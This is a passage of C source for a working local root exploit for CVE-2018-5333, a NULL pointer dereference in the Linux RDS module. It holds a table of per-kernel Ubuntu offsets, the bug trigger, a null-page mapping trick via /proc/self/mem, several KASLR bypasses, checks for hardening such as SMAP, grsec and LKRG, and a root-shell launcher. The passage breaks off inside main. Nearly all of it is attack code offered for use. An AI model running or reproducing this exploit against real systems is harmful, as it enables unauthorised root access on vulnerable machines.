{ "4.4.0-66-generic #87-Ubuntu", 0xa2840, 0xa2c30, 0x5d0c5, 0x179827, 0x406e98, 0x64634, 0x406eb },
|
||||
{ "4.4.0-70-generic #91-Ubuntu", 0xa27b0, 0xa2ba0, 0x5d0c5, 0x179847, 0x4070c8, 0x64664, 0x406eb },
|
||||
{ "4.4.0-79-generic #100-Ubuntu", 0xa2800, 0xa2bf0, 0x5d0c5, 0x179a67, 0x408338, 0x64664, 0x7d235 },
|
||||
{ "4.4.0-87-generic #110-Ubuntu", 0xa2860, 0xa2c50, 0x5d0c5, 0x179ca7, 0x408768, 0x64694, 0x7d285 },
|
||||
{ "4.4.0-89-generic #112-Ubuntu", 0xa28a0, 0xa2c90, 0x5d0c5, 0x179d27, 0x408ae8, 0x64694, 0x7d265 },
|
||||
{ "4.4.0-96-generic #119-Ubuntu", 0xa28c0, 0xa2cb0, 0x5d0c5, 0x179e27, 0x409a48, 0x64694, 0x7d235 },
|
||||
{ "4.4.0-97-generic #120-Ubuntu", 0xa2850, 0xa2c40, 0x5d0c5, 0x179e47, 0x409a58, 0x64694, 0x4ed41 },
|
||||
*/
|
||||
|
||||
{ "4.4.0-21-lowlatency #37-Ubuntu", 0xa3150, 0xa3560, 0x5e0c5, 0x17b2c7, 0x401288, 0x64d34, 0x7d95c },
|
||||
{ "4.4.0-22-lowlatency #40-Ubuntu", 0xa31c0, 0xa35d0, 0x5e0c5, 0x17b397, 0x401b48, 0x64d34, 0x7d9bc },
|
||||
{ "4.4.0-24-lowlatency #43-Ubuntu", 0xa32e0, 0xa36f0, 0x5e0c5, 0x17b5e7, 0x402958, 0x64d34, 0x7dadc },
|
||||
{ "4.4.0-28-lowlatency #47-Ubuntu", 0xa3450, 0xa3860, 0x5e0c5, 0x17b8c7, 0x402f48, 0x64d34, 0x7dadc },
|
||||
//{ "4.4.0-31-lowlatency #50-Ubuntu", 0xa3450, 0xa3860, 0x5e0c5, 0x17b9a7, 0x409018, 0x64d34, 0x7dadc },
|
||||
//{ "4.4.0-34-lowlatency #53-Ubuntu", 0xa3450, 0xa3860, 0x5e0c5, 0x17b9a7, 0x409088, 0x64d34, 0x7dadc },
|
||||
{ "4.4.0-36-lowlatency #55-Ubuntu", 0xa3430, 0xa3840, 0x5e0c5, 0x17b9e7, 0x409318, 0x64d24, 0x7dacc },
|
||||
{ "4.4.0-38-lowlatency #57-Ubuntu", 0xa3500, 0xa3910, 0x5e0c5, 0x17bcb7, 0x409b38, 0x64d24, 0x4c030 },
|
||||
{ "4.4.0-42-lowlatency #62-Ubuntu", 0xa3560, 0xa3970, 0x5e0c5, 0x17bcf7, 0x409f68, 0x64d24, 0x7db6c },
|
||||
{ "4.4.0-98-lowlatency #121-Ubuntu", 0xa38c0, 0xa3cd0, 0x5e0c5, 0x17d737, 0x413408, 0x64d84, 0x24454 },
|
||||
{ "4.4.0-109-lowlatency #132-Ubuntu", 0xa5530, 0xa5940, 0x5f0c5, 0x17f257, 0x414c18, 0x65d94, 0x7f7ac },
|
||||
{ "4.4.0-112-lowlatency #135-Ubuntu", 0xa5bd0, 0xa5fe0, 0x5f0c5, 0x17f9a7, 0x415448, 0x65d94, 0x7f8dc },
|
||||
{ "4.4.0-116-lowlatency #140-Ubuntu", 0xa6e00, 0xa7210, 0x600c5, 0x1818f7, 0x418a38, 0x66de4, 0x809ef },
|
||||
|
||||
{ "4.8.0-34-generic #36~16.04.1-Ubuntu", 0xa5d50, 0xa6140, 0x5d0c5, 0x1876d7, 0x43d208, 0x642f4, 0x7ed2b },
|
||||
{ "4.8.0-36-generic #36~16.04.1-Ubuntu", 0xa5d50, 0xa6140, 0x5d0c5, 0x1876d7, 0x43d208, 0x642f4, 0x7ed2b },
|
||||
{ "4.8.0-39-generic #42~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43da98, 0x642f4, 0x7ed2b },
|
||||
{ "4.8.0-41-generic #44~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43da98, 0x642f4, 0x7ed2b },
|
||||
{ "4.8.0-42-generic #45~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dea8, 0x642f4, 0x5c4f3 },
|
||||
{ "4.8.0-44-generic #47~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b },
|
||||
{ "4.8.0-45-generic #48~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b },
|
||||
{ "4.8.0-46-generic #49~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b },
|
||||
{ "4.8.0-49-generic #52~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43dce8, 0x642f4, 0x7ed3b },
|
||||
{ "4.8.0-51-generic #54~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43dce8, 0x642f4, 0x7ed3b },
|
||||
{ "4.8.0-52-generic #55~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b },
|
||||
{ "4.8.0-53-generic #56~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b },
|
||||
{ "4.8.0-54-generic #57~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b },
|
||||
//{ "4.8.0-56-generic #61~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e278, 0x642f4, 0x7ed3b },
|
||||
//{ "4.8.0-58-generic #63~16.04.1-Ubuntu", 0xa5d20, 0xa6110, 0x5d0c5, 0x187797, 0x43dfa8, 0x642f4, 0x7ed5b },
|
||||
|
||||
{ "4.8.0-34-lowlatency #36~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18ae07, 0x4467f8, 0x649f4, 0x7f902 },
|
||||
{ "4.8.0-36-lowlatency #36~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18ae07, 0x4467f8, 0x649f4, 0x7f902 },
|
||||
//{ "4.8.0-39-lowlatency #42~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aec7, 0x4470d8, 0x649f4, 0x7f902 },
|
||||
{ "4.8.0-41-lowlatency #44~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aec7, 0x4470d8, 0x649f4, 0x7f902 },
|
||||
{ "4.8.0-42-lowlatency #45~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447428, 0x649f4, 0x4b3e3 },
|
||||
{ "4.8.0-44-lowlatency #47~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447108, 0x649f4, 0x4b3e3 },
|
||||
{ "4.8.0-45-lowlatency #48~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447108, 0x649f4, 0x4b3e3 },
|
||||
{ "4.8.0-46-lowlatency #49~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447108, 0x649f4, 0x4b3e3 },
|
||||
{ "4.8.0-49-lowlatency #52~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x447278, 0x649f4, 0x4b3e3 },
|
||||
{ "4.8.0-51-lowlatency #54~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x447278, 0x649f4, 0x4b3e3 },
|
||||
{ "4.8.0-52-lowlatency #55~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x4b3e3 },
|
||||
{ "4.8.0-53-lowlatency #56~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x4b3e3 },
|
||||
{ "4.8.0-54-lowlatency #57~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x7f912 },
|
||||
//{ "4.8.0-56-lowlatency #61~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477f8, 0x649f4, 0x7f912 },
|
||||
//{ "4.8.0-58-lowlatency #63~16.04.1-Ubuntu", 0xa6ef0, 0xa7300, 0x5e0c5, 0x18aee7, 0x447568, 0x649f4, 0x7f932 },
|
||||
|
||||
//{ "4.10.0-14-generic #16~16.04.1-Ubuntu", 0xab610, 0xaba00, 0x600c5, 0x194ac7, 0x458288, 0x67764, 0x34c4b },
|
||||
//{ "4.13.0-16-generic #19~16.04.3-Ubuntu", 0xa8220, 0xa85f0, 0x5f0c5, 0x19c8a7, 0x462d18, 0x668b4, 0x2f2d4 },
|
||||
//{ "4.13.0-37-generic #42~16.04.1-Ubuntu", 0xab1d0, 0xab5a0, 0x610c5, 0x1a0827, 0x46bf58, 0x68944, 0x3381b },
|
||||
};
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
// https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c
|
||||
|
||||
#define RAND_SIZE 4096
|
||||
|
||||
#ifndef SOL_RDS
|
||||
# define SOL_RDS 276
|
||||
#endif
|
||||
#ifndef RDS_CMSG_MASKED_ATOMIC_CSWP
|
||||
# define RDS_CMSG_MASKED_ATOMIC_CSWP 9
|
||||
#endif
|
||||
#ifndef AF_RDS
|
||||
# define AF_RDS 0x15
|
||||
#endif
|
||||
|
||||
void trigger_bug()
|
||||
{
|
||||
struct sockaddr_in sin;
|
||||
struct msghdr msg;
|
||||
char buf[RAND_SIZE];
|
||||
struct cmsghdr cmsg;
|
||||
|
||||
memset(&sin, 0, sizeof(struct sockaddr));
|
||||
memset(&msg, 0, sizeof(msg));
|
||||
memset(buf, 0x40, sizeof(buf));
|
||||
memset(&cmsg, 0, sizeof(cmsg));
|
||||
|
||||
int fd = socket(AF_RDS, 5, 0);
|
||||
if(fd < 0) {
|
||||
dprintf("[-] socket(AF_RDS): %m\n");
|
||||
return;
|
||||
}
|
||||
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = htons(2000);
|
||||
sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
|
||||
bind(fd, (struct sockaddr*)&sin, sizeof(sin));
|
||||
|
||||
cmsg.cmsg_len = RAND_SIZE;
|
||||
cmsg.cmsg_type = RDS_CMSG_MASKED_ATOMIC_CSWP;
|
||||
cmsg.cmsg_level = SOL_RDS;
|
||||
|
||||
memcpy(&buf[0], &cmsg, sizeof(cmsg));
|
||||
|
||||
*(uint64_t *)(buf + 0x18) = 0x40404000; /* args->local_addr */
|
||||
|
||||
msg.msg_name = &sin;
|
||||
msg.msg_namelen = sizeof(sin);
|
||||
msg.msg_iov = NULL;
|
||||
msg.msg_iovlen = 0;
|
||||
msg.msg_control = buf;
|
||||
msg.msg_controllen = RAND_SIZE;
|
||||
msg.msg_flags = MSG_DONTROUTE|MSG_PROXY|MSG_WAITALL;
|
||||
|
||||
sendmsg(fd, &msg, 0);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * map null address * * * * * * * * * * * * *
|
||||
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2
|
||||
|
||||
void map_null() {
|
||||
void *map = mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
|
||||
|
||||
if (map == MAP_FAILED) {
|
||||
dprintf("[-] mmap(null): %m\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char* path = "/proc/self/mem";
|
||||
int fd = open(path, O_RDWR);
|
||||
|
||||
if (fd == -1) {
|
||||
dprintf("open(%s): %m\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
unsigned long addr = (unsigned long)map;
|
||||
|
||||
while (addr != 0) {
|
||||
addr -= 0x1000;
|
||||
if (lseek(fd, addr, SEEK_SET) == -1) {
|
||||
dprintf("lseek()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
char cmd[1000];
|
||||
sprintf(cmd, "LD_DEBUG=help su 1>&%d", fd);
|
||||
system(cmd);
|
||||
}
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * save state * * * * * * * * * * * * * * *
|
||||
// https://github.com/vnik5287/kernel_rop
|
||||
|
||||
unsigned long user_cs, user_ss, user_rflags;
|
||||
|
||||
static void save_state() {
|
||||
asm(
|
||||
"movq %%cs, %0\n"
|
||||
"movq %%ss, %1\n"
|
||||
"pushfq\n"
|
||||
"popq %2\n"
|
||||
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * SIGSEGV handler * * * * * * * * * * * * * *
|
||||
|
||||
void handler(int signo, siginfo_t* info, void* vcontext) {}
|
||||
|
||||
void debug_enable_sigsev_handler() {
|
||||
struct sigaction action;
|
||||
memset(&action, 0, sizeof(struct sigaction));
|
||||
action.sa_flags = SA_SIGINFO;
|
||||
action.sa_sigaction = handler;
|
||||
sigaction(SIGSEGV, &action, NULL);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * *
|
||||
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(const char* file, char* buffer, int max_length) {
|
||||
int f = open(file, O_RDONLY);
|
||||
if (f == -1)
|
||||
return -1;
|
||||
int bytes_read = 0;
|
||||
while (1) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
if (bytes_to_read > max_length - bytes_read)
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
if (rv == -1)
|
||||
return -1;
|
||||
bytes_read += rv;
|
||||
if (rv == 0)
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
|
||||
#define PROC_CPUINFO_LENGTH 4096
|
||||
|
||||
static int check_env() {
|
||||
int fd = socket(AF_RDS, 5, 0);
|
||||
if(fd < 0) {
|
||||
dprintf("[-] socket(AF_RDS): RDS kernel module not loaded?\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char buffer[PROC_CPUINFO_LENGTH];
|
||||
char* path = "/proc/cpuinfo";
|
||||
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
|
||||
if (length == -1) {
|
||||
dprintf("[-] open/read(%s): %m\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char* found = memmem(&buffer[0], length, "smap", 4);
|
||||
if (found != NULL) {
|
||||
dprintf("[-] SMAP detected, no bypass available\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
struct stat st;
|
||||
|
||||
if (stat("/dev/grsec", &st) == 0) {
|
||||
dprintf("[!] Warning: grsec is in use\n");
|
||||
}
|
||||
|
||||
if (stat("/proc/sys/lkrg", &st) == 0) {
|
||||
dprintf("[!] Warning: lkrg is in use\n");
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
struct utsname get_kernel_version() {
|
||||
struct utsname u;
|
||||
int rv = uname(&u);
|
||||
if (rv != 0) {
|
||||
dprintf("[-] uname()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
return u;
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
#define KERNEL_VERSION_SIZE_BUFFER 512
|
||||
|
||||
void detect_versions() {
|
||||
struct utsname u;
|
||||
char kernel_version[KERNEL_VERSION_SIZE_BUFFER];
|
||||
|
||||
u = get_kernel_version();
|
||||
|
||||
if (strstr(u.machine, "64") == NULL) {
|
||||
dprintf("[-] system is not using a 64-bit kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (strstr(u.version, "-Ubuntu") == NULL) {
|
||||
dprintf("[-] system is not using an Ubuntu kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char *u_ver = strtok(u.version, " ");
|
||||
snprintf(kernel_version, KERNEL_VERSION_SIZE_BUFFER, "%s %s", u.release, u_ver);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
if (strcmp(kernel_version, kernels[i].kernel_version) == 0) {
|
||||
dprintf("[.] kernel version '%s' detected\n", kernels[i].kernel_version);
|
||||
kernel = i;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[-] kernel version '%s' not recognized\n", kernel_version);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
|
||||
// https://grsecurity.net/~spender/exploits/exploit.txt
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_KALLSYMS
|
||||
unsigned long get_kernel_addr_kallsyms() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
char* path = "/proc/kallsyms";
|
||||
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s): %m\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
if (addr == 0)
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
|
||||
// https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_SYSLOG
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
int mmap_syslog(char** buffer, int* size) {
|
||||
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER): %m\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
*size = (*size / getpagesize() + 1) * getpagesize();
|
||||
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL): %m\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_syslog_xenial(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL)
|
||||
return 0;
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (start = 0; substr[start] != '-'; start++);
|
||||
for (end = start; substr[end] != '\n'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
|
||||
if (substr == NULL)
|
||||
return 0;
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long addr = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
addr &= 0xfffffffffff00000ul;
|
||||
addr -= 0x1000000ul;
|
||||
|
||||
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
|
||||
return addr;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_syslog() {
|
||||
unsigned long addr = 0;
|
||||
char* syslog;
|
||||
int size;
|
||||
|
||||
dprintf("[.] trying syslog...\n");
|
||||
|
||||
if (mmap_syslog(&syslog, &size))
|
||||
return 0;
|
||||
|
||||
addr = get_kernel_addr_syslog_xenial(syslog, size);
|
||||
|
||||
if (!addr)
|
||||
dprintf("[-] kernel base not found in syslog\n");
|
||||
|
||||
return addr;
|
||||
}
|
||||
#endif
|
||||
|
||||
// * * * * * * * * * * * perf_event_open KASLR bypass * * * * * * * * * * *
|
||||
// https://blog.lizzie.io/kaslr-and-perf.html
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_PERF
|
||||
int perf_event_open(struct perf_event_attr *attr, pid_t pid, int cpu, int group_fd, unsigned long flags)
|
||||
{
|
||||
return syscall(SYS_perf_event_open, attr, pid, cpu, group_fd, flags);
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_perf() {
|
||||
int fd;
|
||||
pid_t child;
|
||||
|
||||
dprintf("[.] trying perf_event_open sampling...\n");
|
||||
|
||||
child = fork();
|
||||
|
||||
if (child == -1) {
|
||||
dprintf("[-] fork() failed: %m\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (child == 0) {
|
||||
struct utsname self = {0};
|
||||
while (1) uname(&self);
|
||||
return 0;
|
||||
}
|
||||
|
||||
struct perf_event_attr event = {
|
||||
.type = PERF_TYPE_SOFTWARE,
|
||||
.config = PERF_COUNT_SW_TASK_CLOCK,
|
||||
.size = sizeof(struct perf_event_attr),
|
||||
.disabled = 1,
|
||||
.exclude_user = 1,
|
||||
.exclude_hv = 1,
|
||||
.sample_type = PERF_SAMPLE_IP,
|
||||
.sample_period = 10,
|
||||
.precise_ip = 1
|
||||
};
|
||||
|
||||
fd = perf_event_open(&event, child, -1, -1, 0);
|
||||
|
||||
if (fd < 0) {
|
||||
dprintf("[-] syscall(SYS_perf_event_open): %m\n");
|
||||
if (child) kill(child, SIGKILL);
|
||||
if (fd > 0) close(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint64_t page_size = getpagesize();
|
||||
struct perf_event_mmap_page *meta_page = NULL;
|
||||
meta_page = mmap(NULL, (page_size * 2), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
|
||||
|
||||
if (meta_page == MAP_FAILED) {
|
||||
dprintf("[-] mmap() failed: %m\n");
|
||||
if (child) kill(child, SIGKILL);
|
||||
if (fd > 0) close(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (ioctl(fd, PERF_EVENT_IOC_ENABLE)) {
|
||||
dprintf("[-] ioctl failed: %m\n");
|
||||
if (child) kill(child, SIGKILL);
|
||||
if (fd > 0) close(fd);
|
||||
return 0;
|
||||
}
|
||||
char *data_page = ((char *) meta_page) + page_size;
|
||||
|
||||
size_t progress = 0;
|
||||
uint64_t last_head = 0;
|
||||
size_t num_samples = 0;
|
||||
unsigned long min_addr = ~0;
|
||||
while (num_samples < 100) {
|
||||
/* is reading from the meta_page racy? no idea */
|
||||
while (meta_page->data_head == last_head);;
|
||||
last_head = meta_page->data_head;
|
||||
|
||||
while (progress < last_head) {
|
||||
struct __attribute__((packed)) sample {
|
||||
struct perf_event_header header;
|
||||
uint64_t ip;
|
||||
} *here = (struct sample *) (data_page + progress % page_size);
|
||||
switch (here->header.type) {
|
||||
case PERF_RECORD_SAMPLE:
|
||||
num_samples++;
|
||||
if (here->header.size < sizeof(*here)) {
|
||||
dprintf("[-] size too small.\n");
|
||||
if (child) kill(child, SIGKILL);
|
||||
if (fd > 0) close(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint64_t prefix;
|
||||
if (strstr(kernels[kernel].kernel_version, "4.8.0-")) {
|
||||
prefix = here->ip & ~0xfffff;
|
||||
} else {
|
||||
prefix = here->ip & ~0xffffff;
|
||||
}
|
||||
|
||||
if (prefix < min_addr) min_addr = prefix;
|
||||
break;
|
||||
case PERF_RECORD_THROTTLE:
|
||||
case PERF_RECORD_UNTHROTTLE:
|
||||
case PERF_RECORD_LOST:
|
||||
break;
|
||||
default:
|
||||
dprintf("[-] unexpected perf event: %x\n", here->header.type);
|
||||
if (child) kill(child, SIGKILL);
|
||||
if (fd > 0) close(fd);
|
||||
return 0;
|
||||
}
|
||||
progress += here->header.size;
|
||||
}
|
||||
/* tell the kernel we read it. */
|
||||
meta_page->data_tail = last_head;
|
||||
}
|
||||
|
||||
if (child) kill(child, SIGKILL);
|
||||
if (fd > 0) close(fd);
|
||||
return min_addr;
|
||||
}
|
||||
#endif
|
||||
|
||||
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
|
||||
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_MINCORE
|
||||
unsigned long get_kernel_addr_mincore() {
|
||||
unsigned char buf[getpagesize() / sizeof(unsigned char)];
|
||||
unsigned long iterations = 20000000;
|
||||
unsigned long addr = 0;
|
||||
|
||||
dprintf("[.] trying mincore info leak...\n");
|
||||
|
||||
if (strstr(kernels[kernel].kernel_version, "4.8.0-")) {
|
||||
dprintf("[-] target kernel does not permit mincore info leak\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
|
||||
if (mmap((void*)0x66000000, 0x20000000000,
|
||||
PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
|
||||
dprintf("[-] mmap(): %m\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int i;
|
||||
for (i = 0; i <= iterations; i++) {
|
||||
/* Touch a mishandle with this type mapping */
|
||||
if (mincore((void*)0x86000000, 0x1000000, buf)) {
|
||||
dprintf("[-] mincore(): %m\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int n;
|
||||
for (n = 0; n < getpagesize() / sizeof(unsigned char); n++) {
|
||||
addr = *(unsigned long*)(&buf[n]);
|
||||
/* Kernel address space */
|
||||
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX) {
|
||||
addr &= 0xffffffffff000000ul;
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap(): %m\n");
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap(): %m\n");
|
||||
|
||||
dprintf("[-] kernel base not found in mincore info leak\n");
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
unsigned long addr = 0;
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_KALLSYMS
|
||||
addr = get_kernel_addr_kallsyms();
|
||||
if (addr) return addr;
|
||||
#endif
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_SYSLOG
|
||||
addr = get_kernel_addr_syslog();
|
||||
if (addr) return addr;
|
||||
#endif
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_PERF
|
||||
addr = get_kernel_addr_perf();
|
||||
if (addr) return addr;
|
||||
#endif
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_MINCORE
|
||||
addr = get_kernel_addr_mincore();
|
||||
if (addr) return addr;
|
||||
#endif
|
||||
|
||||
dprintf("[-] KASLR bypass failed, kernel base not found\n");
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
static void shell() {
|
||||
if (getuid() == 0 && geteuid() == 0) {
|
||||
dprintf("[+] got root\n");
|
||||
system(SHELL);
|
||||
} else {
|
||||
dprintf("[-] failed\n");
|
||||
}
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
void fork_shell() {
|
||||
pid_t rv;
|
||||
|
||||
rv = fork();
|
||||
if (rv == -1) {
|
||||
dprintf("[-] fork(): %m\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (rv == 0)
|
||||
shell();
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc > 1) SHELL = argv[1];
|
||||
dprintf("Linux RDS rds_atomic_free_op NULL pointer dereference local root (CVE-2018-5333)\n");
|
||||
|
||||
dprintf("[.] checking kernel version...\n");
|
||||
detect_versions();
|
||||
dprintf("[~] done, version looks good\n");
|
||||
|
||||
#if ENABLE_SYSTEM_CHECKS
|
||||
dprintf("[.] checking system...\n");
|
||||
check_env();
|
||||
dprintf("[~] done, looks good\n");
|
||||
#endif
|
||||
|
||||
dprintf("[.] mapping null address...\n");
|
||||
map_null();
|
||||
dprintf("[~] done, mapped null address\n");
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
